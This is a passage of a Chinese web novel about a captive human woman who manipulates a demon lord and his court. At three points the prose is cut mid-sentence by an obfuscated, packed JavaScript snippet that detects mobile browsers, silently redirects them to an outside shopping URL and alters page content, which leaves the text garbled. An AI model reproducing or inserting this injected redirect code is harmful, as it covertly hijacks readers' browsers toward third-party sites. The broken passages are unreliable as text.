曲云织不由自主后退了一步,像要躲在魔尊身后,但又觉得露了怯,僵硬在那里进退两难。 正是她这一动作,宛如触动了紧绷的神经上最容易断裂的一点,一切都决了堤。 段干鸿嗓音冰冷而决然,一头炽烈的红发却浸透了森寒之意,毫无转圜余地般说道:“魔尊,你是想与我等为敌吗?” 万俟逐鹿不语。 短时间内,到底发生了什么? * 一刻钟以前。 眼见魔尊听到人族女子濒死的消息,霎时脸色就变了,话都没丢下一句起身就往外赶。 段干鸿心中不禁起了一丝犹疑。 他没有表现出来,而是静坐原地等候事情发展。 不多时,一则消息传到他耳边—— 王城大门封锁,侍卫列队上街巡逻,像是要搜查什么人。 而凭借段干鸿的修为也敏锐探知到,魔宫内布防有变动,兵力成围堵之势集结。 这没什么。 他心中有所不安,但为此找了个理由。 记得侍从禀报时,口中说有刺客袭击了那个人族女人,大抵这番架势是为了抓住刺客。 就是有些太过兴师动众了。 段干鸿撑着额头,手肘抵住膝盖,另一手烦躁抓了抓那头毛糙的红发。 睁开眼,视野就能映入被他拍碎的矮几,四分五裂的碎片看得他愈加心浮气躁,那些木屑的尖角仿佛能刺得他太阳穴突突直跳。 段干鸿实在没忍住,自带火属性的魔气源源不断溢散出来,一把火将木屑与碎块烧了个干净。 他对面,希辰不耐烦轻轻“啧”了一声,在火星即将飘到他雪衣白发上之前,伸手将之掐灭。 段干鸿冷睨他一眼,还没有暴躁到在这时与他起冲突。 时间一分一秒地流逝,不快也不慢,匀速且均衡。 可对段干鸿来说,这就是一场极尽漫长而枯燥的等待。 他等来了另一则消息—— 激进派魔族违背魔尊禁令,私底下贩卖人肉的集市其源头,也就是激进派最大的聚集地之一。 就在刚刚被全数剿灭。 两则消息并没有任何直接关联,只是一前一后地发生。 前脚魔宫侍卫出动,后脚激进派就遭遇一场不大不小的清算。 这不得不让段干鸿的思维导向一个结果—— “鸿门宴。” 希辰替他说出了这个词,唇边噙笑,用那双瞎了的眼睛看他的好戏。 段干鸿再也无法抱着侥幸心理,自欺欺魔下去。 “你闭嘴!”他暴怒地吼了一句,魔气如同暴风掀起的惊涛骇浪,以激荡之势席卷了宴会举办的大殿。 那些实力不足的魔族噤若寒蝉,小心翼翼觑他面色。 段干鸿注意到了,他揉了揉眉心,冷静下来思索。 魔尊设宴是为了警告激进派。 他想过这个可能,提前做好了心理准备,甚至觉得理所应当。 魔尊闭关出来后,这段时间他手底下的魔的确有些躁动了,是该好好敲打。 可眼下魔尊的所作所为,已远超敲打的界限。 为了区区一个刺客派兵合围魔宫,难不成其实是冲着他来? 对他动手,是想与整个激进派,乃至他掌握的边境魔族为敌吗? 将本就势力割据的魔族彻底打乱成一盘散沙。 不可能,魔尊绝不可能愚蠢到这个地步! 当真不可能吗? 段干鸿不受控制想起魔尊为那人族女子,不顾宴会局势转身离席的画面。 魔尊是否会为人族女子动心,为了讨好她与她所属的人族,主动断绝与激进派的表面关系,做出此等荒谬行径? 他不确定了。 段干鸿的面色阴晴不定了起来。 万一这只是他的误会呢? 而他因一时的猜疑与冲动,主动做出与魔尊为敌的事,那不就真的将仅仅一个猜疑变成了现实吗? 段干鸿脑子乱得厉害,两种截然相反的念头在两个极端拉扯着他的神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13251971|139649||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经。 而当魔尊携同人族女子出现,他这根神经彻底崩断了。 段干鸿死死盯着曲云织。 侍从口中伤重濒死的人,凭什么好端端地出现? 她不是遇刺了吗,为何全身上下连点伤痕都看不到? 还是说一切都是假的,就连遇刺这件事都是魔尊一手安排! 当曲云织似乎被他择人欲噬的眼神盯得害怕,踏出了象征退缩的一步。 段干鸿那些不确定的猜忌,生怕悬崖上一脚踏空的迟疑,那些暴戾、怨怒,乃至于憎恨,所有负面情绪在同一时刻找到了宣泄口,决堤而出。 “魔尊,你是想与我等为敌吗?” 他吐出冰冷的词句,一抬手指向曲云织,“交出那个人族女子,我就当一切从未发生。” 万俟逐鹿偏头,从他的角度,能看到曲云织正挽着他的手臂,身子瑟缩地倚在他怀里,一双形状漂亮的桃花眼向上扫了过来,与他对视时露出些许戏谑的笑。 她本该无法在这场宴会上现身,因刺客的袭击卧伤在床。 她只是一个用来警告激进派的借口,一场争端中微不足道可以被任意替代的符号。 可现在,她甚至成为了争端的中心,这场宴会真正的主角。 她究竟做了什么? 在没搞清楚事情是如何发展到这个地步前,万俟逐鹿不该擅自作答,他只问段干鸿,“为何是她,你想对她做什么?” 段干鸿没有回答第一个问题,因为他觉得区区一个人族做不了什么,他清楚自己只不过将她当做发泄怒火的渠道。 真正逼迫他至此的,是魔尊言不由衷的承诺,是一条又一条将他逼迫至绝境的消息,而曲云织,只是不小心落在引线上的火星。 “我要将她撕碎。”段干鸿说,“当做这场宴会的余兴。” 随着他话音落下,在场魔族一个个露出兴奋的眼神,像嗅到血腥味的鲨鱼,视线不断追随着猎物。 万俟逐鹿笑了,胸膛震颤发出的气音,让伏在他怀里的曲云织能清楚地听到。 段干鸿被逼得太狠,已经下了最后通牒,就代表他会听自己任何狡辩,万俟逐鹿也无暇了解他离开的片刻出了什么变故。 他必须当众给出一个答案。 万俟逐鹿知道,这场博弈他输了,输得彻彻底底。 魔尊伸手揽住曲云织的腰肢,低头,额头亲昵地与她相抵。 二人紧贴的体温是如此温暖,可在万俟逐鹿看来,他怀中的分明是一条不折不扣的阴冷毒蛇。 大张獠牙,嘶嘶吐信。 蛇尾紧紧扼住他的咽喉,恶劣地将两个同样致命的选择摆在了他面前。 交出曲云织? 在众魔族眼里,他已经是个做出烽火戏诸侯的荒唐举止的昏君,将妖妃交出来固然能挽回风评。 可曲云织可不仅仅是一个祸国殃民的妖妃,她身上带着人族鸿蒙至宝太乙天书,真将人杀了那就便宜了人族。 至于说出真相? 他凭什么将如此重要的情报告诉那些不服管教的魔族! 这里面甚至还有几个根本不值得信任的,他能保证一旦他说出口,改天这条情报就能送上神族的桌案! 再者,曲云织是他狩猎的目标。 上一个目标玄微,在他得手前就死于曲云织手中。 要是曲云织被他亲自交给其他魔族,不就代表他要经历又一次失败。 他无法容忍。 而选择不交出曲云织。 那他将会与激进派撕破脸,从此沦为因迷恋一个人族女子,不惜与整个边境魔族为敌的暴君! 好啊。 万俟逐鹿掀开长睫,眼形锋利,眼尾如刀上挑,一双幽深的黑瞳直视曲云织近在咫尺的面容。 他始终桀骜眼神就像在说—— 如你所愿。 我便成为一个为你而生的暴君。 8. 第 8 章 最终,魔尊没有将曲云织交出去。 他好似默认了,自己痴迷于一个人族女子,不惜在大庭广众下与激进派势力撕破脸,双方不欢而散。 回到寝宫,曲云织已经做好被魔尊报复的准备,她离间魔尊与激进派的关系,还是用这种近乎于逼迫和施压的方式,不给双方任何解释沟通的余地。 想也知道魔尊即便知道真相也无法说出口,心底该是如何憋屈。 她听到大门重重闭合的声音,投影在地面的光斑悄然熄灭,室内顿时陷入一片黑暗,唯有家具模糊的轮廓在阴影中沉浮。 一具炙热的身体从背后覆了上来。 万俟逐鹿双手揽住曲云织的腰,胸膛与她紧贴在一起,侧首低头,湿热的吐息倾洒在那截修长如玉的脖颈。 张嘴,轻轻叼住了一小块皮肤。 曲云织一僵,喉间溢出微不可查的气音。 她蹙着眉,只觉魔尊的呼吸像羽毛那样细细挠着那块敏感的皮肤,牙齿尖锐的触感带来一丝说不清道不明的疼痛。 是要吸食她的血吗? 不由自主地,曲云织试图推开魔尊的脑袋,五指陷入他柔顺长发里,指腹间或还能摸到冰凉的金饰与糙硬的细辫。 “你起开。”曲云织不适应这种亲密行为,尤其自己陷入完全被动。 她语气透出些许抗拒之意,五指一路往下滑,勾到套在魔尊脖子上的一截金环,就像拉动狗链子似的,用力往后一拽。 万俟逐鹿松口,很顺从地被曲云织拉开,“对不住,我只是有些……情难自禁。” 他嗓音喑哑低沉,若是细究起来,还有藏不住的兴奋。 曲云织的眼睛早已适应黑暗,于是她偏头,能轻易看清魔尊上扬的嘴角,昏暗环境下幽光闪烁的黑瞳也正注视着她,像极了兽类的眼睛,其中的残忍恣谑与近乎贪婪的渴望一览无余。 “你知道的。”万俟逐鹿的亢奋久久不能平静,语速也比平日快了许多,“我本打算借这次刺杀同时敲打你和激进派,我有想过被你提早察觉,但我一开始的预想是大不了此次宴会被搅浑。” “可我竟不知你能做到这个地步。” “你赢了我。” “我输给了你。” 输。 这个字眼在他的魔生中已不是第一次出现,每一次都刻骨铭心。 万俟逐鹿能在心中坦然承认自己的失败,但当真正诉之于口的那一刹那,尤其是在曲云织面前坦诚以对。 他的心脏仍是有一瞬的悸动。 自胸口开始兴奋流动的血液刺激得瞳孔极速收缩。 他喜欢狩猎强者,而怀中这具脆弱身体的主人,正是他下一个猎物。 猎物的实力远超他的预想,这很好,很有挑战性。 可猎物自身又太过弱小,他担心一不注意就将其碾碎。 万俟逐鹿收紧了环在曲云织腰间的双臂,沉默数息,他只是克制地埋首于她颈间,舔去他留下的齿痕上,沁出的丝缕血迹。 “你的血很甜。”魔尊评价道。 曲云织对这种事一点不感兴趣,随意应了声,“是吗?” 万俟逐鹿顿了顿,“不是在评价味道,而是事实,你的血肉比寻常人族要香甜千百倍。” “对我们魔族来说,就像一剂成瘾的毒药。” 曲云织又看了眼魔尊,他这模样可不像对自己的血肉上了瘾。 万俟逐鹿环住她腰的手松开了些,像只吃饱喝足后懒洋洋的猛兽,将下巴搭在了曲云织的肩上。 “经此一事,魔族内部分裂加剧,而我好容易树立的威信也就此扫地。” “你说魔族各部会不会发动叛乱,到时候你我就如同被逼至绝境的亡国之君和祸国妖妃,只能引火自焚,高台殉情?” “这种爱情故事听起来不错。”魔尊说着话时是笑着的,爽朗又兴致盎然,似乎真的为自己想象中的事感到愉悦。 曲云织已经有些不耐烦了,被人圈在怀里的姿势就好像她是什么所有物。 她从魔尊怀里挣脱,转身,与他面对面,白皙而细长的手指如蜻蜓点水般封住万俟逐鹿的唇,紧接着滑落至他的胸口。 “可千万别这么说。”曲云织言笑晏晏,带着狡黠却又让人不忍苛责的任性,“我还不想落得个红颜薄命的下场。” 她点了点魔尊心脏的位置,“我的性命一同托付与你了,殉情这种事想都别想。” “托付?”万俟逐鹿默念一遍这个词,一把攥住曲云织的手腕,将她与自己拉近了些,眼眸中是一种理所当然的单纯和清醒,就仿佛他接下来的话不是质问。 “你不是还想要我身上的鸿蒙至宝吗?那玩意儿叫九幽水,不杀了我就不会从我身上剥离。” 曲云织笑而不语。 急什么?流程还没走完。 她需要先引得魔尊为自己动心,最好是迷恋乃至于深爱的程度。 想要赢得魔尊的心,重点在“赢”字上面,他对胜负有着强烈的执着,品尝到失败的滋味反而更能挑起他的兴趣。 像一条渴望被鞭打训斥的狗。 与反咬人的狼也就一线之隔的差距。 而曲云织要做的,就是一次又一次压下他的反扑,将这匹不服管教的狼彻底训成一条狗! 这座被黑暗包围的宫殿里,二人在近到能拥抱的距离,心照不宣般相视而笑。 他们看起来就像一对亲密的有情人,亲密到将刀剑抵住彼此的心脏。 “天色不早了。”万俟逐鹿瞥了一眼窗帘间隙后的景色。 魔宫中的一切掩在安静的夜色中,只零星亮了几盏小灯。 曲云织问他,“要在我这儿留宿吗?” “不必。”万俟逐鹿一口回绝,他行事向来有原则,二人的关系也还没有到能留宿的地步。 “告辞。” “慢走不送。” 简单两句告别,那些被黑暗、血腥,最原始的狩猎与被狩猎的关系挑起的情愫冷却下来,他们似乎又回到了一开始的生疏相处。 殿门再次打开,门口却有一道身影安静地单膝跪地,不知在那里等了多久。 万俟逐鹿路过时不轻不重瞥了一眼,像是想起来什么,脚步顿住,问暗卫,“刺客一事处理得如何?” 步谨言低垂头颅,“属下无能,没能将其抓住。” 刺客本就是他指派,自然不指望暗卫能够揪出来,万俟逐鹿更关心的是另一件事,“你追击刺客时,是往哪个方向?” 步谨言没能立即作答,他眼睫微敛,说道:“王城东南角。” 正是白日里宴会上,段干鸿所得知的激进派被覆灭的聚集地。 万俟逐鹿挑眉,“也就是说,刺客逃出了魔宫,一直逃到王城东南角才将你甩脱?” 步谨言:“是。” 万俟逐鹿淡淡一哂,刺客的下落没有比他更清楚的了,暗卫这话是句谎言, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13251972|139649||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “白日里,激进派那群违背禁令的是被你处决的吗?” 步谨言承认了,他也没法否认光天化日下发生的事。 万俟逐鹿嗓音冰冷,“谁叫你这么做的?” 步谨言道:“属下擅作主张,追击刺客不利,恰好发现激进派藏身于此,于是想当然以为刺客是他们所派遣。” “然后歼灭了在场魔族却唯独没发现刺客踪迹。”万俟逐鹿冷笑一声,淡淡放出威压,将暗卫压得头颅更加低伏,“谁告诉你刺客逃往了东南角,是曲夫人吗?” 虽是疑问句,但他语气笃定。 万俟逐鹿差不多明白前因后果,也知道段干鸿是怎么一步步被逼迫到与他翻脸。 侍卫包围魔宫是为了追捕刺客装装样子,而激进派一处势力被剿灭是暗卫受了曲云织诱骗。 两件事一前一后发生,看似关联不深实则让人遐想的地方颇多。 加上他因听闻曲云织濒死的消息当众离席,以及曲云织好端端现身宴会。 两件矛盾的事就像明晃晃告诉魔族众,这是一场耍人玩的骗局。 也不怪段干鸿被耍得那么惨。 然而他当众选了保下曲云织,已经与激进派翻脸的现在,私底下再去解释也为时已晚了。 万俟逐鹿俯视着暗卫,轻信一个人族俘虏的话语,反被其利用。 “自去领罚。” 他没说暗卫受罚的理由,但只要不蠢就该知道。 步谨言恭顺应道:“是。” 暗卫是带着一身血腥气回来的。 他平时收敛得很好的气息都藏不住,脚步略微有些迟钝。 曲云织仰头站在一处梁柱下,那里氤氲着深不见底的漆黑,看不清里面是否躲了人,“下来吧,我替你上药。” 无任何回应。 曲云织叹了口气,“那么重的血腥味,你躲也没用。” 依旧只有沉默。 “我知道你是因为我才受罚,往后应该避着我才是。” 曲云织眉眼温和,“只有今晚,不说出去就不会被发现,你这一身伤是拜我所赐,不做些什么我心中难安。” 良久,房梁的阴影一阵攒动,步谨言轻巧跃下,落地时脸色白了白。 曲云织扶住他,带着他到椅子上坐好。 她剥开裹得密不透风的衣料,不出意外看到一片血肉模糊,伤口周边漆黑魔气翻涌,正缓慢自愈。 曲云织指腹蘸了些药膏,往那处涂抹,明显感觉到暗卫疼得一颤。 她连忙放轻了动作,眸中满是担忧与自责,但藏在这片眼波的最深处,唯有凉薄之色。 曲云织心想,她操控一个人的手段不只有神识,就如同宴会上的段干鸿,无知无觉被她掌控住情绪,沦为她逼迫魔尊的傀儡。 面前这个暗卫同样如此,一副对她言听计从的模样。 她起初是这么以为的。 可这些天相处,曲云织发现她无法将神识侵入他的识海,不是他强大到神魂难以逾越,而是面对她时,暗卫从不曾流露半分破绽与动摇。 如同一块顽石,撬不开也猜不透。 曲云织抬眸瞥了眼暗卫,又状似不安地将视线移开,“害你如此重伤,你会怨我吗?” 步谨言没说话,他的目光长久定格在曲云织脖颈上,那里有一处魔尊留下的齿痕。 他抿了抿苍白的唇,低声说:“我不怨你。” “这都是我自找的。” 9. 第 9 章 “我跟你讲哦。” 一大早,宋逾拉着曲云织絮絮叨叨。 “老大就是边境魔族出身,和那个姓段干的对上过好几次,这次终于撕破脸,可把我看爽了。” 宋逾神气活泼在那里一通比划,对段干鸿似乎积怨已久,“不就是仗着自己掌握了整个边境魔族,那就是些又凶又丑还特别笨的家伙,顶多数量有些麻烦。” “其实本来,能控制整个边境魔族的麟符应当属于魔尊,但上任魔尊被老大杀掉前,将麟符交给了他儿子。” 说着宋逾左右张望一番,贼兮兮凑到曲云织耳边,压低了声音仍掩不住语气的义愤填膺,“而那魔尊之子据说藏匿在魔域边境,也就是段干鸿的领地里,说不准连同麟符一起早被段干鸿据为己有了!” “不臣之心简直昭然若揭!” 曲云织:“……” 一段话听下来,她只有一个问题,“我和你很熟吗?” 她到现在还只和宋逾说过不到十句话,见面也只有葬礼上被魔尊强行掳走的那一次。 什么时候关系好到能谈论这种话题了? 宋逾挠了挠头,傻笑道:“好像是不怎么熟诶。” 曲云织挑眉,冷不丁来了一句,“不过我还记得,你说要把我剁成丸子汤来着。” 宋逾背脊一寒,连忙摇头,“不不不,那就是句玩笑话,再说丸子汤这个主意分明是你提的。” 他莫名委屈,但小动物的直觉告诉他曲云织不是好惹的,他战战兢兢抖成筛子,又因为同与魔尊的关系带来的亲近感忍着没跑。 心里想的什么简直都写在了脸上,许久没见过心性如此单纯的,曲云织托腮多瞄了他几眼,问道:“魔尊原来出身边境魔族吗?” 说起这个宋逾来了兴趣,连对曲云织的害怕都忘了,凑近过来,兴致勃勃地说:“老大还是个幼崽的时候,黑黑的,小小的,丁点儿大一团贴着墙爬,看着还怪可爱的。” 宋逾咂了咂嘴,“就是打起架来又凶又狠,跟不要命似的。” 曲云织真想不出魔尊小时候该是什么模样,又黑又小贴墙爬。 蟑螂吗? “如此说来,你和魔尊是一同长大的。”曲云织看宋逾的眼神有了些变化。 宋逾毫无所觉,还挺骄傲地说:“那可不,我敢打包票天底下没有魔比我更了解老大。” 他胳膊怼了怼曲云织,挤眉弄眼,“就是看出老大对你有意思,我才想接近你的。” 曲云织只是笑了笑,没应声,她看到远处走来的一行身影,为首的雪衣银发,双目深阖,气质古朴缥缈,是统领守旧派的魔族。 “你不去打声招呼吗?”她顺势转移话题,问宋逾道。 他苦着张脸摆了摆手,颇有自知之明地调侃道:“我资质不好,能有如今修为和地位,摆明就是个魔尊身边的关系户,在魔族还挺不受待见的。” “曲夫人。” 令曲云织意外的是,守旧派一行在发现自己这边后,竟主动上前问好。 她不好拂了这番心意,与名为希辰的魔族交换姓名,“希辰大人倒是不排斥我。” 希辰唇角略微弯了弯,“我只是想不出有什么理由与曲夫人交恶。”当然也没有与之交好的理由。 曲云织反倒好奇了,“那守旧派又是因何同魔尊敌对?” 她这话听着像带刺的反讽,希辰身后的魔族看她的目光都变得阴沉了些许,唯独希辰一副泰然自若的神态。 “魔族崇尚力量,历代魔尊必定是魔族至强者。”希辰淡淡地说,“可气运之子不同,他们身怀鸿蒙至宝九幽水,天资不凡,此生注定在劫难中度过。” “但度不过的情况比比皆是,届时九幽水就会寻找下一任持有者,如此循环往复。” 希辰反问,“你知道这在我看来像什么吗?” “寄生虫。”他自问自答,语气含着高高在上俯视的讥诮。 “让气运之子成为魔尊,我们臣服的到底是魔族至强者,还是九幽水精心挑选的傀儡?” 宋逾听他如此贬损魔尊,气得不行。 可曲云织却突然觉得,她似乎与这个名为希辰的魔族很聊得来。 于是,当万俟逐鹿久等不到守旧派魔族的影子,出来一看就撞见希辰与曲云织相谈甚欢,而宋逾被挤兑得憋了口气却发不出来,闷闷地都快哭了的模样。 万俟逐鹿:“……” 好小众的组合,他怎么也没想过,有朝一日这三个八竿子打不着的会凑在一块。 希辰察觉到魔尊出现,不走心地歉然道:“和曲夫人聊得愉快,竟忘了魔尊陛下的召见。” 曲云织也识趣地要告退。 万俟逐鹿总有种自己才是个外人的错觉。 唯独宋逾见着魔尊,三两步窜过来,就像小鸡仔恨不得钻进母鸡肚皮。 万俟逐鹿捏了捏眉心,“既然都遇见了那就一起来吧,反正也不是什么要紧事。” 他对曲云织说:“在魔宫中不必忌讳,我能去的地方你照样能去。” 魔尊心想,他与曲云织的游戏中,他占尽了优势,如果连这点特权都吝啬,胜负就太没意思了。 曲云织应了声好。 魔尊与守旧派要商谈的事,不出所料是有关与激进派之间的冲突。 双方角逐时,第三方势力的立场就变得要紧起来。 “我和段干鸿,你选哪边?” 希辰没想到魔尊会如此直白,他愣了一下,从容道:“哪边都不选。” 万俟逐鹿大马金刀坐在象征魔尊的高位,他托着下巴,身子前倾,轻飘飘扫视下方的希辰,漫不经心地说:“就不怕我强迫你站队吗?” 希辰好似察觉不到骤然涌现的杀机,不紧不慢一掸袖摆,“那也要魔尊陛下做得到才行。” 万俟逐鹿沉默片刻,忽而提起一件陈年旧事,“想当初我作为魔尊即位,不知受了哪儿的暗算,差一点就死了。” 他笑了声,“后来我将那批暗算我的杀了个七七八八,可惜留了几条漏网之鱼,你说他们会不会在此时跳出来?” 希辰蹙眉,“魔尊陛下慎言。” 万俟逐鹿的瞳孔颜色愈发晦涩,其中的尖刻与乖张几乎能满溢出来,意味深长道:“眼下激进派势力撤出王城,欲同边境魔族大军汇合。” “可不正是拉本尊下马千载难逢的好机会?” 希辰但笑不语。 这场交谈不欢而散。 曲云织目送希辰离去的背影,等宋逾也走后,她的目光若有所思落在魔尊身上。 她走上前,捧起魔尊一缕长发,发质粗硬但被精 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13251973|139649||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心护养显得十分柔顺,纯黑的色泽在发尾处却渲染出枯槁的白。 只有重伤到气血两空,无以为继接近濒死时,才会出现这样的白发。 “我本以为你与玄微大战一场,伤还没养好就出关,头发才是这般模样。” 万俟逐鹿冷嗤,“玄微都没受如此重伤,我怎么可能伤势比他严重。” 他二者实力伯仲之间。 曲云织捧着魔尊的末端泛白的黑发,不难想象他刚即位就险些身死,该是度过了怎样一段惊心动魄的时间,“都许多年了,那时留下的伤现在还没好吗?” 万俟逐鹿不习惯地偏了下脑袋,曲云织掌心那缕长发溜了出去,只听魔尊无所谓地说:“伤早就好了,但我特意留下这印记。” 魔尊咧了咧嘴,“毕竟账还没完全讨回来。” 曲云织蓦地伸手,一把掐住魔尊的腮帮子,迫使他转过脸仰头看着自己,“所以这就是你让一个好端端的中立方与你离心的理由?” 魔尊一番话不提凶手,却字字句句都在控诉。 当初他险些死于以希辰为首的守旧派暗算,忍了这么多年不曾发作,怎么现在就不忍了? 她略有讥诮道:“如今的你称得上众叛亲离,是真的想拉着我我一同死于反扑的魔族之手吗?你愿意那是你的事,别随便把我给牵扯进去!” 万俟逐鹿眨了眨眼,面对曲云织冰冷的视线,他感到很是惊奇,脸颊的软肉被捏住,说话声也含含糊糊变了调,“怎么会,我心中自有成算。” 曲云织将信将疑松开了手。 她当然不希望魔尊安然度过此次危机,但闹得太狠她自己免不了受罪,毕竟在魔族看来她已与魔尊绑定在一起。 最好此次魔族能够内乱,乱得彻底,但又不至于乱得崩盘。 曲云织自觉拾起了妖妃祸国殃民的职责。 见魔尊开始处理桌上堆积的各类情报文书,曲云织自然而然站在他身侧,理了理宽松的袖摆,执起一根墨条悬腕磨墨。 万俟逐鹿瞥见了,他笑着说:“我又不习惯你们人族麻烦的那一套书房礼仪,笔墨纸砚就是摆着玩的。” 可这话说出口,他后知后觉意识到,真正需要曲云织在一旁红袖添香的,是玄微仙君。 她将昔日与玄微仙君相处的习惯,下意识带到了与他的相处中。 此前一直被他若有似无忽略的事实,清晰浮现在了脑海。 曲云织是玄微名正言顺的道侣。 在他不曾知晓的过去中,玄微也曾与她耳鬓厮磨,就如同那晚他情难自禁咬上曲云织的脖颈。 甚至比这更为亲密的事—— “……”万俟逐鹿不知为何,胸腔里那颗跳动的心脏泛起些许不适,很轻微,但难以忽视。 “玄微已经死了。” 魔尊神情难得冷淡了一回,他像是在对自己强调。 曲云织怔然半晌,抛下了墨条,“是啊,玄微已经死了。” 纵然听到满意的回答,万俟逐鹿仍是别过了头,不愿对上曲云织的视线。 他分明不是在意这种细枝末节的性格,曲云织和玄微关系如何,又关他什么事? 魔尊捂住自己的胸口。 心脏处那一点细微的酸涩如同扎了根。 他觉得自己变得有些陌生。 10. 第 10 章 “我变得有些奇怪。”魔尊深沉地说。 “你不一直都很奇怪?”宋逾听着他的抱怨,头也不抬。 万俟逐鹿幽怨地看了他一眼,也就只有在自小一起长大的玩伴面前,他才能无话不谈,“不是这种奇怪。” 他捂着自己的胸口,掌下传来心脏沉稳有力的跳动,彰显蓬勃生机,可每一次肌肉贲张时总像卡了一根刺,碾磨出细细密密的不适。 “我最近满脑子都在想她和玄微的道侣关系,明明我以前从不在意这些。” 万俟逐鹿不等宋逾的回答,自己先给自己找好了理由,恍然大悟地说:“我知道了,曲云织那般精明聪慧的女人怎么可能在人族籍籍无名。” “一定是玄微那厮的存在,导致所有人都只能看到气运之子的光辉,从而忽略以至于压抑了玄微身边的她!” 他一副痛惜的模样,“果然,谈恋爱耽误前程。” 宋逾:“……” 他反复深呼吸了好久,才压下暴揍魔尊这颗木鱼脑袋的冲动。 不停安慰自己,没关系的,老大以前没有任何经验,看不出来心病的原因很正常。 宋逾勉强挤出一个笑脸,心想要循序渐进慢慢来,提点魔尊发现他真正的心意。 万俟逐鹿忽而说:“上次我因为这事有点儿生气,不是对曲云织发的火,却好似被她瞧出来。” 魔尊蔫头耷脑,鲜艳的衣饰都因此暗淡了些,“我不是很想在有关玄微的事上对她道歉,她也不是委曲求全的性子,这段时间我与她就这样僵持住。” 万俟逐鹿有生以来第一次产生讨好一个女子的想法,但又不知从何处下手,眼巴巴瞅着宋逾,“你说我该如何是好?” 宋逾一听这袭话,顿时如同数九寒天抿了杯热茶,整只魔都熨帖了,看魔尊的眼神就好像地主在看自家突然开窍的傻儿子。 狗头军师宋逾沉吟片刻,眼神一亮,拉过万俟逐鹿凑在他耳边,“曲夫人来魔域这么久了,都还没出过魔宫,你明日带她上街逛一逛,买些首饰哄她。” 他补充道:“我在凡间见过的夫妻就是这般相处的。” 万俟逐鹿若有所思。 夫妻吗? 于是第二天一大早,魔尊兴致勃勃拉来了还在睡懒觉的曲云织,附带一只懵逼的宋逾。 万俟逐鹿笑得阳光灿烂,“今日我们出宫,你们想去哪儿玩?” 曲云织:“……” 宋逾:“……” 简直是丧心病狂! 宋逾眼睛瞪得老大,看了看面色阴寒得能滴水的曲云织,又看了看一无所觉的魔尊,最后指着自己,“你二人相约同游,带上我?” 万俟逐鹿歪头,“不行吗?” “我知道你不喜欢魔宫森严的环境,待在我身边受了不少明里暗里的白眼,如今难得能放松一回,当然要带你去。” 宋逾听完,虽然感动于魔尊时刻记挂着自己,自小一起长大的情意未被冲淡,但他还是冷漠地拒绝。 “不了,我还有事,你们二人去吧。” 万俟逐鹿摸不着头脑,他能有什么事? 倒是曲云织似笑非笑睨了宋逾一眼,拉着魔尊的衣袖,“人家都这样说了,走吧。” 此次出行,魔尊没有亮出身份,身边也未曾携带侍从,而是与曲云织一起伪装了面容。 从偏僻的侧门离了宫,曲云织本以为会见到一番冷清亦或是野蛮的景象。 她听闻的魔域就是这般,未开化、好勇斗狠、残暴血腥。 可事实是,王城的街道房屋错落有致,四处张灯挂彩,熙熙攘攘的商贩与居民好似未曾意识到当今魔域紧张的局势,依旧有说有笑过着安逸的生活。 除去作风狂野些,瞧着与寻常人族城市没多大分别。 见曲云织脸上的疑惑,万俟逐鹿唇角扬了扬,“从前此地蛮荒,确实如你们人族所传言的,尸骨遍野、寸草不生。” “但是我后来一点点地将王城建设成如今模样。” 魔尊今日兴致颇高,比之以往见到的威仪,有种更符合他这副少年外表的明快与活泼。 他就像一个孩子兴致勃勃向曲云织炫耀自己心爱之物。 曲云织不置可否。 万俟逐鹿牵住了她的手,带她来到一处首饰摊子前。 摊主是个朗快的女性魔族,见来客一男一女,女子瞧着冷淡,而男子则绕着那女子宛如一只开屏孔雀。 经验丰富的摊主面露了然,热情地向他们推销起了自家商品。 “这些可是时下最流行的首饰,哪家女子不爱俏的,您买了送与夫人,保管哄得她眉开眼笑!” 万俟逐鹿已经是第二次听到夫妻这一词,不知为何安在他和曲云织身上尤为顺耳,于是大包大揽地说:“喜欢什么尽管拿。” 曲云织对打扮自己并不热衷,随意扫了眼,挑了支乌木发钗,“就那个吧。” 万俟逐鹿顿了顿,像被兜头浇了盆冷水,心中欢腾蹦跳的鸟雀淋湿了翅膀,再飞不起来。 他看着曲云织,视线停留得很长久。 面前的女子总爱穿一身暮气沉沉的黑衣,不见阳光因而肤色呈现病态的苍白。 寡淡的笑容掩饰得很好,但他依旧能看出潜藏其下的积郁、疲惫和幽冷,宛如一副被阴雨淋湿的美人画。 她似乎一直不得安眠,每晚都被梦魇所侵扰。 万俟逐鹿无法获知她梦魇的来源,就像他无法参与她与玄微的过去。 魔尊突兀笑了一声,无可奈何,又带着些自嘲地捂了下脸。 回想起方才那些堪称愚蠢的举动,他忽然明白自己这些日子种种异常的根源。 